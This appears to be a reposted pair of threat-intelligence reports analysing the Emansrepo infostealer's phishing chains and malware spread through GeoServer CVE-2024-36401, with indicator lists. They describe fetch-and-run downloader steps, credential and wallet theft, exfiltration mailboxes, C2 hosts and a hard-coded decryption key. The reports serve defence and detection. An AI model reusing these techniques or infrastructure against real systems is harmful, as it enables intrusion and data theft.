Various stages are being added to the attack flow before downloading Emansrepo, and multiple mailboxes are used to receive different kinds of stolen data. This article will provide a detailed analysis of each attack chain and its behavior. We will then provide a quick summary of the next campaign.

Attack Flow

  • Chain 1
Figure 4: The phishing mail in chain 1 contains a fake download page

Figure 4: The phishing mail in chain 1 contains a fake download page

The attachment is a dropper that mimics a download page. It creates a link element that points to the data of Purchase-Order.7z and uses the click() method to “download” Purchase-Order.7z. Six seconds later, it redirects to a completely unrelated website.

Figure 5: Source code of the attachment

Figure 5: Source code of the attachment

Purchase-Order.exe, the file embedded in Purchase-Order.7z, is an AutoIt-compiled executable. It doesn’t include any files, and the AutoIt script determines its behavior. The script has many unused functions, frustrating its analysis. The only meaningful code downloads preoffice.zip to the Temp folder and unzips it into % TEMP%\PythonTemp. The zip archive contains necessary Python modules and tester.py, the malicious script for information stealing.

Figure 6: The AutoIt script downloads the Python infostealer

Figure 6: The AutoIt script downloads the Python infostealer

  • Chain 2
Figure 7: The phishing mail in chain 2

Figure 7: The phishing mail in chain 2

The innermost file in P.O.7z is an HTA file. Its source file is a JavaScript file that shows a hidden window named PowerShell Script Runner and downloads the PowerShell script, script.ps1, with VBScript for the next stage.

Figure 8: The decryption algorithm of the JavaScript file and the result

Figure 8: The decryption algorithm of the JavaScript file and the result

The behavior of script.ps1 is similar to the AutoIt script in chain 1. It downloads preoffice.zip to the Temp folder and unzips it to %TEMP%\PythonTemp, but it executes Emansrepo using run.bat.

Figure 9: script.ps1 executes run.bat to run the infostealer

Figure 9: script.ps1 executes run.bat to run the infostealer

  • Chain 3
Figure 10: The phishing mail in chain 3

Figure 10: The phishing mail in chain 3

The 7z file from the link in the phishing mail contains a batch file obfuscated by BatchShield.

Figure 11: The obfuscated batch file

Figure 11: The obfuscated batch file

After deobfuscation, we can see that it is not as complicated as it first seems. It simply downloads and executes script.ps1 using PowerShell.

Figure 12: The deobfuscated batch file

Figure 12: The deobfuscated batch file

Python Infostealer

According to the email receiving the data, the infostealer behavior can be divided into three parts. It creates folders to temporarily store the stolen data for each part and deletes them after sending the data to the attacker. The stolen data is attached to the email sent to the attacker.

  • Part 1 – User information and text files

In part 1, the Python stealer collects login data, credit card information, web history, download history, autofill, and text files (less than 0.2 MB) from the Desktop, Document, and Downloads folders.

Senderminesmtp8714@maternamedical[.]top
Receiverminestealer8412@maternamedical[.]top
TargetBrowsersamigo, torch, kometa, orbitum, cent-browser, 7star, sputnik, vivaldi, google-chrome-sxs, google-chrome, epic-privacy-browser, microsoft-edge, uran, yandex, brave, iridium
Folder and files%TEMP%\Browsers:Text files (less than 0.2 MB) copied from Desktop, Document, Downloads%TEMP%\Browsers\{browser name}:Saved_Passwords.txt, Saved_Credit_Cards.txt, Browser_History.txt, Download_History.txt, Autofill_Data.txt
AttachmentZip file of %TEMP%\Browsers  folder

Part 1 includes the initial features of Emansrepo since there is only code for part 1 in the November 2023 variant (e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5). It’s worth noting that emans841 report has been used as the divider in Saved_Passwords.txt since the December 2023 variant (ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a). Because of this, we call it Emansrepo.

Figure 13: The content of Saved_Passwords.txt

Figure 13: The content of Saved_Passwords.txt

The variant used in November 2023 uses Prysmax Premium as the divider.

By comparing the variant in November 2023 with the first edition of the Prysmax stealer shared on GitHub, we find they contain many similar functions, though the Emansrepo stealer had fewer features. However, as parts 2 and 3 were added to Emansrepo, it has become quite different from the Prysmax stealer.

Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub

Figure 14: Left: Variant in November 2023. Right: First edition of Prysmax Stealer on GitHub

  • Part2 – PDF files, extensions, crypto wallets, and game platform

Part 2 copies PDF files (less than 0.1 MB) from the Desktop, Document, Downloads, and Recents folders and compresses folders of browser extensions, crypto wallets, and game platforms into zip files.

Senderextensionsmtp@maternamedical[.]top
Receiverfilelogs@maternamedical[.]top
TargetBrowsersOpera, Chrome, Brave, Vivaldi, Yandex, EdgeCrypto walletAtomic Wallet, Guarda, Zcash, Armory, Bytecoin, Exodus, Binance, Electrum, Coinomi, jaxxGame platformSteam, Riot GamesBrowser extensionMetaMask, BNB Chain Wallet, Coinbase Wallet, Ronin Wallet, Trust Wallet, Venom Wallet, Sui Wallet, Martian Aptos & Sui Wallet, TronLink, Petra Aptos Wallet, Pontem Crypto Wallet, Fewcha Move Wallet, Math Wallet, Coin98 Wallet, Authenticator, Exodus Web3 Wallet, Phantom, Core | Crypto Wallet & NFT, TokenPocket – Web3 & Nostr Wallet, SafePal Extension Wallet, Solflare Wallet, Kaikas, iWallet, Yoroi, Guarda, Jaxx Liberty, Wombat, Oxygen – Atomic Crypto Wallet, MEW CX, GuildWallet, Saturn Wallet, Station Wallet, Harmony, EVER Wallet, KardiaChain Wallet, Pali Wallet, BOLT X, Liquality Wallet, XDEFI Wallet, Nami, MultiversX Wallet, Temple – Tezos Wallet, XMR.PT
Folder and files in temp folder%TEMP%\pdf_temps:PDF files (less than 0.1 MB) copied from Desktop, Document, Downloads and Recents folder{extension ID}.zip{data folder}.zip
AttachmentAll files in pdf_temp
  • Part 3 – Cookies

Part 3 copies cookie files and zips it into {process_name}_cookies.zip.

Sendercookiesmtp@maternamedical[.]top
Receivercooklielogs@maternamedical[.]top
TargetBrowsersChrome, msedge, brave, opera, 360se, 360browser, yandex, UCBrowser, QQBrowser
Folder and files in temp folder%TEMP%\cookies_data:{process_name}_cookies.zip
Zip fileZip files in cookies_data

New Campaign

We recently found another attack campaign using the Remcos malware, which we believe is related to the same attacker because of the phishing email.

Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.

Figure 15: Left: the email for the Python infostealer. Right: The email for Remcos.

As the above screenshot shows, these attacks have the same content but use different methods to distribute malware. The attack flow for Remcos is much simpler. The attacker just sends phishing emails with a malicious attachment. The attachment is a DBatLoader, which downloads and decrypts data for the payload. The payload is a Remcos protected by a packer.

Figure 16: Attack flow of new Remcos campaign

Figure 16: Attack flow of new Remcos campaign

Conclusion

Emansrepo has been active since at least last November, and the attack method is continuously evolving. The attack vectors and malware are ever-changing and pervasive, so it’s vital for organizations to maintain cybersecurity awareness. FortiGuard will continue monitoring these attack campaigns and providing appropriate protections as required.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

W32/Kryptik.EB!tr
JS/Agent.FEI!tr
BAT/Downloader.2C22!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

Address

hxxps://bafybeigm3wrvmyw5de667rzdgdnct2fvwumyf6zyzybzh3tqvv5jhlx2ta[.]ipfs[.]dweb[.]link/wetrankfr[.]zip
hxxps://bafybeifhhbimsau6a6x4m2ghdmzer5c3ixfztpocqqudlo4oyzer224q4y[.]ipfs[.]w3s[.]link/myscr649612[.]js
https://estanciaferreira[.]com[.]br/wp-includes/TIANJIN-DOC-05082024-xls[.]7z
hxxps://dasmake[.]top/reader/timer[.]php
hxxps://hedam[.]shop/simple/Enquiry.7z
191[.]101[.]130[.]185
192[.]236[.]232[.]35

Email address

stealsmtp@dasmake[.]xyz
hanbox@dasmake[.]xyz
publicsmtp@dasmake[.]xyz
publicbox@dasmake[.]xyz
minesmtp8714@dasmake[.]xyz
minestealer8412@dasmake.xyz
minesmtp8714@maternamedical[.]top
minestealer8412@maternamedical[.]top
extensionsmtp@maternamedical[.]top
filelogs@maternamedical[.]top
cookiesmtp@maternamedical[.]top
cooklielogs@maternamedical[.]top

Phishing mail

a6c2df5df1253f50bd49e7083fef6cdac544d97db4a6c9c30d7852c4fd651921
9e5580d7c3c22e37b589ec8eea2dae423c8e63f8f666c83edabecf70a0948b99
9bd3b8d9ac6ad680b0d0e39b82a439feedd87b9af580f37fa3d80d2c252fef8c
915bad0e2dbe0a18423c046f84d0ff7232fff4e5ba255cc710783f6e4929ab32
64e5c9e7b8dfb8ca8ca73895aa51e585fa7e5414f0e1d10659d3a83b9f770333
b343cce5381b8633b3fd3da56698f60db70c75422e120235a00517d519e37d8d
32bcbce53bfee33112b447340e7114d6d46be4ccf1a5391ad685431afdc8fb86

Delivery

bee8da411e71547ac765a5e63e177b59582df438432cc3b540b57a6f1a56dd16
70ba3d67b476e98419ecbbbb5d81efcb5a07f55a92c96e7b9207176746e3b7a6
a2fa6790035c7af64146158f1ed20cb54f4589783e1f260a5d8e4f30b81df70d
4cd8c9fa7f5e2484b73ed9c7be55aa859969c3f21ca2834610102231d337841d
6670e5c7521966e82d091e7adff4e16335f03f2e2740b653adcc9bfe35c7bf9b
dd656953a6844dd9585f05545a513c4e8c2ded13e06cdb67a0e58eda7575a7a4
9866934dd2b4e411cdabaa7a96a63f153921a6489f01b0b40d7febed48b02c22

Malware

e346f6b36569d7b8c52a55403a6b78ae0ed15c0aaae4011490404bdb04ff28e5
8e43c97e5bc62211b3673dee13e376a1f5026502ebe9fd9f7f455dc17c253b7f
ae2a5a02d0ef173b1d38a26c5a88b796f4ee2e8f36ee00931c468cd496fb2b5a
7a9826be22b6d977d6a0e5179f84d8e88b279fe6d9df8f6c93ebc40a6ba70f06
18459be33cd4f59081098435a0fbaa649f301f985647a75d21b7fc337378e59b
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043
222dd76c461e70c3cb330bacfcf465751b07331c4f8a4415c09f4cd7c4e6fcd9
6e7313b6aa37a00b602e620a25a0b71a74503ea967f1814c6c7b8b192535a043

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Threat Actors Exploit GeoServer Vulnerability CVE-2024-36401

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: GeoServer prior to versions 2.23.6, 2.24.4, and 2.25.2
Impacted Users: Any organization
Impact: Remote attackers gain control of the vulnerable systems
Severity Level: Critical

GeoServer is an open-source software server written in Java that allows users to share and edit geospatial data. It is the reference implementation of the Open Geospatial Consortium (OGC) Web Feature Service (WFS) and Web Coverage Service (WCS) standards. On July 1, the project maintainers released an advisory for the vulnerability CVE-2024-36401 (CVSS score: 9.8). Multiple OGC request parameters allow remote code execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. The shortcoming has been addressed in versions 2.23.6, 2.24.4, and 2.25.2.

On July 15, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a critical security flaw impacting OSGeo GeoServer GeoTools to its Known Exploited Vulnerabilities (KEV) catalog based on evidence of active exploitation. FortiGuard Labs added the IPS signature the next day and has observed multiple campaigns targeting this vulnerability to spread malware. The botnet family and miner groups strike the attack immediately. We also collect sidewalk backdoors, and GOREVERSE tries to exploit this vulnerability and set a connection with a command and control server (C2) to execute malicious actions.

Overview

In this article, we will explore the details of the payload and malware.

GOREVERSE

Figure 1: Attack packet

Figure 1: Attack packet

The payload retrieves a script from “hxxp://181[.]214[.]58[.]14:61231/remote.sh.” The script file first verifies the victim’s operating system and architecture to download the appropriate file, which it saves as “download_file.” It accommodates various OS types, including Linux, FreeBSD, Illumos, NetBSD, OpenBSD, and Solaris. After execution, it deletes the file to remove traces of its activity.

Figure 2: Script file “remote.sh”

Figure 2: Script file “remote.sh”

The ultimate executable is “GOREVERSE,” packed with UPX. GOREVERSE is a malicious tool that often functions as a reverse proxy server, allowing attackers to illicitly access target systems or data.

Figure 3: GOREVERSE

Figure 3: GOREVERSE

Once executed, the connection is made to a specific IP address (181[.]214[.]58[.]14) and port (18201), which is not a standard SSH port.

Figure 4: GOREVERSE’s log

Figure 4: GOREVERSE’s log

From the exploitation packet of CVE-2024-36401, we observed threat actors attempting to access IT service providers in India, technology companies in the U.S., government entities in Belgium, and telecommunications companies in Thailand and Brazil.

SideWalk

Figure 5: Attack packet

Figure 5: Attack packet

The attacker fetches the script from “hxxp://1[.]download765[.]online/d.” This batch file facilitates the download of execution files. All the ELF files on the remote server, known as the “SideWalk” malware, are designed to operate on ARM, MIPS, and X86 architectures. SideWalk is a sophisticated Linux backdoor malware also often linked with the hacking group APT41.

Figure 6: Script file “d”

Figure 6: Script file “d”

First, SideWalk creates a folder named with a randomly generated string in the TMP directory. It then decodes two library files, libc.so.0 and ld-uClibc.so.1, along with the next-stage payload using the XOR key 0xCC. These decoded files are then stored in the previously created folder in the TMP path.

Figure 7: Creating the folder and files

Figure 7: Creating the folder and files

Figure 8: XOR decoded with 0xCC

Figure 8: XOR decoded with 0xCC

Figure 9: Saved decoded files

Figure 9: Saved decoded files

Then, it also uses XOR to decode the string data using the key 0x89.

Figure 10: XOR decoded with 0x89

Figure 10: XOR decoded with 0x89

It then executes the next stage payload, “ych7s5vvbb669ab8a.” It has three main functions:

1. Decrypt configuration: The configuration is decrypted using the ChaCha20 algorithm. The binary input contains a 16-byte MD5 hash, a 12-byte nonce for ChaCha20 decryption, and a 4-byte section indicating the length of the ciphertext, followed by the actual ciphertext. Based on the assembly code, the decryption key is hard-coded as “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” and the decryption process runs 15 rounds (0xF). After successful decryption, the extracted C2 is secure[.]systemupdatecdn[.]de (47[.]253[.]46[.]11), listening on port 80, with the mutex name “hfdmzbtu.”

Figure 11: Decrypted configuration with ChaCha20

Figure 11: Decrypted configuration with ChaCha20

Figure 12: Encrypted binary

Figure 12: Encrypted binary

Figure 13: Decrypted configuration

Figure 13: Decrypted configuration

2. Establish C2 communication: Communication with the C2 server is established using an encrypted session, also based on the ChaCha20 algorithm. The packet structure comprises a 4-byte section representing the packet length, a 12-byte nonce for ChaCha20 decryption, 20 bytes of message metadata, and the final ciphertext. The initial exchange includes keys (v-key and s-key) for subsequent message encryption. In early packets, the original key, “W9gNRmdFjxwKQosBYhkYbukO2ejZev4m,” decrypts the message metadata, while the exchanged keys (v-key and s-key) decrypt the ciphertext. In packet 5, the victim’s information (computer name, operating system, and system time) is transmitted.

Figure 14: Packet capture of the C2 connection

Figure 14: Packet capture of the C2 connection

Figure 15: C2 communication

Figure 15: C2 communication

3. Execute the command issued by C2: In this attack scenario, we find a Plugin named Fast Reverse Proxy (FRP.) Fast Reverse Proxy (FRP) is a legitimate and widely-used tool that complicates the detection of malicious network traffic by blending it with normal traffic, thereby enhancing the stealthiness of cyberattacks. Because it is open source, this tool has been leveraged in the past by several threat actors, such as Magic Hound, Fox Kitten, and Volt Typhoon. Using FRP, attackers create an encrypted tunnel from an internally compromised machine to an external server under their control. This method enables them to maintain a foothold within compromised environments, exfiltrate sensitive data, deploy further malicious payloads, or execute other operations. In this attack case, SideWalk also downloads a customized configuration file that directs the connection to a remote server (47[.]253[.]83[.]86) via port 443, further enhancing the attacker’s control and persistence.

Figure 16: FRP's configuration

Figure 16: FRP’s configuration

Figure 17: Packet capture of FRP

Figure 17: Packet capture of FRP

Analysis of the script download URL’s telemetry reveals a concentrated pattern of infections. The primary targets appear to be distributed across three main regions: South America, Europe, and Asia. This geographical spread suggests a sophisticated and far-reaching attack campaign, potentially exploiting vulnerabilities common to these diverse markets or targeting specific industries prevalent in these areas.

Figure 18: Telemetry

Figure 18: Telemetry

Mirai Variant – JenX

Figure 19: Attack packet

Figure 19: Attack packet


This script downloads and executes a file named “sky” from a specified URL, “hxxp://188[.]214[.]27[.]50:4782. “ It changes its permissions to make it executable, runs it with the parameter “geo,” and then deletes the file.

Figure 20: XOR decoded function

Figure 20: XOR decoded function

The configuration data is extracted by XORing the file contents with 0x3A. This enabled us to find information like “bots[.]gxz[.]me,” which is the C2 server the malware attempts to connect to.

Figure 21: Decoded configuration data

Figure 21: Decoded configuration data

When executing the malware, a string shows up.

Figure 22: Execution message

Figure 22: Execution message

This malware has a credential list for brute-force attacks and a hard-coded payload related to the Huawei router vulnerability CVE-2017-17215. The payload attempts to download malware from 59[.]59[.]59[.]59.

Figure 23: Hard-coded payload

Figure 23: Hard-coded payload

Condi

The attacker first terminates several processes (mpsl, mipsel, bash.mpsl, mips, x86_64, x86), then downloads and executes multiple bot binaries for different CPU architectures (such as ARM, MIPS, PPC, X86, M68K, SH4, and MPSL) from a remote server, “hxxp://209[.]146[.]124[.]181:8030.” The binaries are fetched using wget, saved in the /tmp directory, made executable (chmod 777), and executed.

Figure 24: Attack packet

Figure 24: Attack packet

The following section uses “bot.arm7” as an example. The malware can be recognized by the specified string “condi.”

Figure 25: Significant string

Figure 25: Significant string

Executing the malware sends numerous DNS queries to “trcpay[.]xyz.”

Figure 26: Continually connecting to the C2 server

Figure 26: Continually connecting to the C2 server

The Condi botnet first tries to resolve the C2 server address and its function. It then establishes a connection with the C2 server and waits to parse the command. The malware has numerous DDoS attack methods, such as TCP flooding, UDP flooding, and a VSE DDoS attack.

In tracing the connection back to the remote server, “hxxp://209[.]146[.]124[.]181:8030,” we found that it was built as an HFS (HTTP File Server) and that two malicious tools—“Linux2.4” (another botnet) and “taskhost.exe” (the agent tool)—are located in the server.

The botnet “Linux2.4” not only has different methods that can trigger a DDoS attack but can also act as a backdoor agent. The tool first connects to a server, which is the same as the remote server “209[.]146[.]124[.]181.” It then gathers the host information. Later, it waits for the command to either conduct a remote command execution or trigger a DDoS attack.

Figure 27: DDoS attack methods

Figure 27: DDoS attack methods

The Backdoor malware “taskhost.exe” is designed especially for Windows. It creates a service named “9jzf5” for persistence and then creates different process types to retrieve information from attackers lurking in the host.

Figure 28: Creating a service with the name “9jzf5”Figure 28: Creating a service with the name “9jzf5”

Figure 29: Command execution

Figure 29: Command execution

CoinMiner

We found four types of incident coin miners that can be delivered to victim hosts, as shown in the following details.

[1]

Figure 30: Attack packet

Figure 30: Attack packet

The attacker downloads a script from a remote URL “hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860[.]txt/test.sh” and saves it as script.sh in the temp folder. The payload within the incident packets then modifies and executes the script to achieve various purposes.

Figure 31: Script file “test.sh”

Figure 31: Script file “test.sh”

The script first gathers host information, such as the location of Aegis, the distribution version of Linux. Afterward, it attempts to uninstall different cloud platforms, like Tencent Cloud, Oracle, Kingsoft Cloud, JD Cloud, and Ali Cloud, to evade monitoring agents from those cloud services. A noteworthy point is that the comments in the script are written in simplified Chinese, indicating that the miner campaign/author may be affiliated with a Chinese group. While finishing these uninstalls, the script kills some security defense mechanisms processes and checks whether the current user has the root privilege needed to uninstall those mechanisms. If everything executes successfully, the script downloads the coin miner and creates another script for persistence.

Figure 32: Download and persistence within “test.sh”

Figure 32: Download and persistence within “test.sh”

The coin miner, named “sshd,” wrote the configuration within itself. The miner points to two target pools: “sdfasdfsf[.]9527527[.]xyz:3333” and “gsdasdfadfs[.]9527527[.]xyz:3333.”

Figure 33: Coin miner configuration

Figure 33: Coin miner configuration

[2]

Figure 34: Attack packet

Figure 34: Attack packet

Another type of coin miner attack begins with the Base64-encoded command. It intends to download “linux.sh” from “hxxp://repositorylinux.com.” The comment in “linux.sh” is written in Sundanese, an Indonesian language.

Figure 35: Script file “linux.sh”

Figure 35: Script file “linux.sh”

The script downloads two files: a coin miner named “linuxsys“ and a related configuration file named “config.json.” It downloads these through an AWS (Amazon Web Service) cloud platform service the attacker holds.

Figure 36: Config file “config.json”

Figure 36: Config file “config.json”

The coin miner sets the pool URL “pool[.]supportxmr[.]com:80” with credentials using “config.json.” The miner itself is XMRig, which can be recognized through its data.

Figure 37: Coin miner “linuxsys”

Figure 37: Coin miner “linuxsys”

[3]

Figure 38: Attack packet

Figure 38: Attack packet

The action sent via four packets is to download “/tmp/MmkfszDi” from the remote server “hxxp://95[.]85[.]93[.]196:80/asdfakjg.sh,” make it executable, and then run it. The script downloads a coin miner like the others mentioned before. It also removes a list of files within “/tmp,” “/var,” “/usr,” and “/opt.”

Figure 39: Script file “asdfakjg.sh”

Figure 39: Script file “asdfakjg.sh”

The coin miner named “h4” is similar to the other two types mentioned. It is XMRig as well and embeds its configuration within the binary file. The miner sets the pool URL as “asdfghjk[.]youdontcare[.]com:81”

Figure 40: Configuration data embedded in “h4”

Figure 40: Configuration data embedded in “h4”

[4]

Figure 41: Attack packet

Figure 41: Attack packet

The last type of coin miner incident command is also encoded with base64. It downloads “cron.sh” from “112[.]133[.]194[.]254.” This fraudulent site mimics the webpage of the Institute of Chartered Accountants of India (ICAI). The site is currently removed.

Figure 42: Fraudulent site

Figure 42: Fraudulent site

“cron.sh” uses the job scheduler on the Unix-like operating system “cron,” as its name indicates. The script schedules jobs for things like downloading coin miner-related scripts and setting the scripts into “crontab.” It first downloads the script named “check.sh” from the same source IP “112[.]133[.]194[.]254” and executes the script.

Figure 43: Script file “cron.sh”

Figure 43: Script file “cron.sh”

“check.sh” first creates the necessary directories and confirms that the victim host hasn’t been infected. Once the script finds that the victim host is the first to be infected, it downloads “config.sh” from the attacker’s IP “112[.]133[.]194[.]254” and the XMRig coin miner from the developer platform “Github.”

Figure 44: Script file “check.sh”

Figure 44: Script file “check.sh”

Through “config.sh,” we learned that the attacker set the pool on SupportXMR “pool[.]supportxmr[.]com:3333”

Figure 45: Script File “config.sh”

Figure 45: Script File “config.sh”

Conclusion

While GeoServer’s open-source nature offers flexibility and customization, it also necessitates vigilant security practices to address its vulnerabilities. The developer patched the vulnerability with the function “JXPathUtils.newSafeContext” instead of the original vulnerable one to evaluate the XPath expression safety. However, implementing comprehensive cybersecurity measures—such as regularly updating software, employing threat detection tools, and enforcing strict access controls—can significantly mitigate these risks. By proactively addressing these threats, organizations can secure their environments and ensure the protection and reliability of these data infrastructures.

Fortinet Protection

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

Adware/Miner
BASH/Agent.CPC!tr
BASH/Miner.VZ!tr
Data/Miner.2F82!tr
Data/Miner.3792!tr
ELF/Agent.CPN!tr
ELF/Agent.CPN.TR
ELF/BitCoinMiner.HF!tr
ELF/Flooder.B!tr
Linux/CoinMiner.ACZ!tr
Linux/Mirai.CEA!tr
Linux/Mirai.CJS!tr
Linux/Mirai.IZ1H9!tr
Linux/SideWalk.Q!tr
Riskware/CoinMiner
W32/ServStart.IO!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signatures against attacks exploiting the following vulnerability:

CVE-2024-36401: GeoServer.OGC.Eval.Remote.Code.Execution

We also suggest that organizations go through Fortinet’s free training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IoC

URL

hxxp://181[.]214[.]58[.]14:61231/remote.sh
hxxp://1[.]download765[.]online/d
hxxp://188[.]214[.]27[.]50:4782/sky
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm5
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm6
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm7
hxxp://209[.]146[.]124[.]181:8030/bot[.]m68k
hxxp://209[.]146[.]124[.]181:8030/bot[.]mips
hxxp://209[.]146[.]124[.]181:8030/bot[.]mpsl
hxxp://209[.]146[.]124[.]181:8030/bot[.]ppc
hxxp://209[.]146[.]124[.]181:8030/bot[.]sh4
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86_64
hxxp://209[.]146[.]124[.]181:8030/JrLinux
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]4
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]6
hxxp://209[.]146[.]124[.]181:8030/taskhost[.]exe
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/test.sh
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/sshd
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/linuxsys
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/config.json
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/linuxsys
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/config.json
hxxp://95[.]85[.]93[.]196:80/h4
hxxp://112[.]133[.]194[.]254/cron.sh
hxxp://112[.]133[.]194[.]254/check.sh
hxxp://112[.]133[.]194[.]254/config.sh

IP Address/Hostname

181[.]214[.]58[.]14:18201
47[.]253[.]46[.]11
secure[.]systemupdatecdn[.]de
188[.]214[.]27[.]50
bots[.]gxz[.]me
209[.]146[.]124[.]181
sdfasdfsf[.]9527527[.]xyz:3333
gsdasdfadfs[.]9527527[.]xyz:3333
pool[.]supportxmr[.]com:80
95[.]85[.]93[.]196:4443
pool[.]supportxmr[.]com:3333
59[.]59[.]59[.]59

Wallet

49VQVgmN9vYccj2tEgD7qgJPbLiGQcQ4uJxTRkTJUCZXRruR7HFD7keebLdYj6Bf5xZKhFKFANFxZhj3BCmRT9pe4NG325b+50000
41qqpRxT7ocGsbZPeU9JcbfRiHLy3j8DWhdKzv8Yr2VS1QPcFLmfHVJFWEBDfWaB3N6HxuVuAb73nES36bN2rhevGnZ12nA

SHA256Hash

b80e9466b7bb42959c29546b8c052e67fcaa0f591857617457d5d28348bd8860
d9e8b390f8e2e8a6c2308c723a6a812f59c055ecad4e9098a120e5c4c65d3905
79c9532fb6ef2742e207498bfe2b2ee09aa9773376ac0e56085083aab17b98be
5cc7e35254347f705422800bfb7fe29c6002e2537f6bac0ff996a720dfb5f48e
fabbb4611fb9df5d8f208d9353be0b73c3942fe78903da096cbfe2f47c9e3566
1588bee7db42495ba7e6e34d217e6b82c5ab93f27c1eea68435cbb9e7792f9be
e8b0f5a952f07c83c4d67809ac0715c7164d518323d8038542e84aab8456db43
3c73ebc7a85accc65c9ee5bf151f70b990e5a12f27a843ca21c0f9d9a10fd17d
9bf642a7e14f0a0b0a784f00a0d1cf590ac60ae5ae378d29d435519f4d9dbf2b
994b924b00fb56e12a6a987c4cdf65dd05a221c47b5fc0a7a2babf1f05c2ed38
c226744b40e8f5d2cf95b4fb2537ff00e222ecc2d24c5096ecfadb14b4a47f97
96cf27a66b629d2b19708c6887441a8422b40dc0e9e7c5c0f2212efe0b6b3323
b3a015b6650ec9800fa878ff9a5f732013806c8dcb0e7069515dae0dd380fda4
50b7e615b8cdc45486b6ed1c1c081c7a92c262edb84318fa864531dcab753f82
f7b97677b6387c1f02d429e98868bf6973a8dec14dfee2516a27e885d6b1c780
b60d7fb66caf103a04e81fb89dbb05111b4b0ef513f3769c8e0a8106ab01a075
a9e7b5284182d3881c865895ee6e0fb03273eec3dcbf4bfc82dd2b069245beae
c3101b0b74d76a95ba91b6cc4945657e928d2dac8fdf926ffbf09031d46e9186
b67ab1b9b66fdc2c4ed1689698a54a347c2bdd6eaff87039ae337675243670d8
83fb74bb852bbd722e6ebc4e249e49cb4bb4194493a26d62d4bfcdfca2998412
53994a35a57970dea48e97009f65ad045b69a83234b771b106446211376a6866
f3d3572ef96c9c59e137425ca6804e1b86b7f8b57210a3724d567017460774de
1af8e068aa7377f0055640af581a412aa9d7288c912a93dd0d739657af0079fb
1abd8cbd64d1d9c8d56b7ea6273ed62e1471f300fabc67dbc2416a48e2faf33d
addccd0ecb643251af2e79e878b19a8e9c8f1c87302e732ef057cdba821f4b30
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
8d3440301bc94ed83cdafb69e4b0166d3a0020eb4f38e9fa159c2f13f14b2d29
a13a979f4ca57450528bb6cd7aa2bf47d2eea211053eb1a14b8c4a44fd661831
7194ec436231c2a383ffc7c75eef4f5b5a952c18fa176ffd0830667835a80533
20d97f144bf7b1662a13ac537715126b9b2f68eff46a4a09234743ae236f0177
d72e4cabffc84a31e50caf827b6e579cf6e4932e5cbc528a65a68728ba56b65b
5abf8a52d45f6d5970fab8d1dfd05b6ee7b0ef57df935f45761b89d3522fa592
24e80d66759b1c7a075aeb4fe0321eb6ac49eaf509089fd2882874ec6228d085
7355cc094f2e43e4dd7b8b698b559abe6d2d74cc48f5cfa464424314c6e41944
689504850db842365cd47eadd2d3d42888b9261e7d9e884f14bb7deeb21bb61d
762707f2c7fc4731c4c46ecb3364a4e7ace8984aa899cc57c624b342d3efa03f
4234eb5eb42fbe44d7163c4388d263b3fe57fb1e56bf56152ac352c3fd0beec0
373734730d8414d32883ebbd105c7a7c58397df995759c4e0bd367f2523d302d
d1d25730122f8bc125251832c6af03aedd705dfcc2d9eebcce4371c54bb84b39
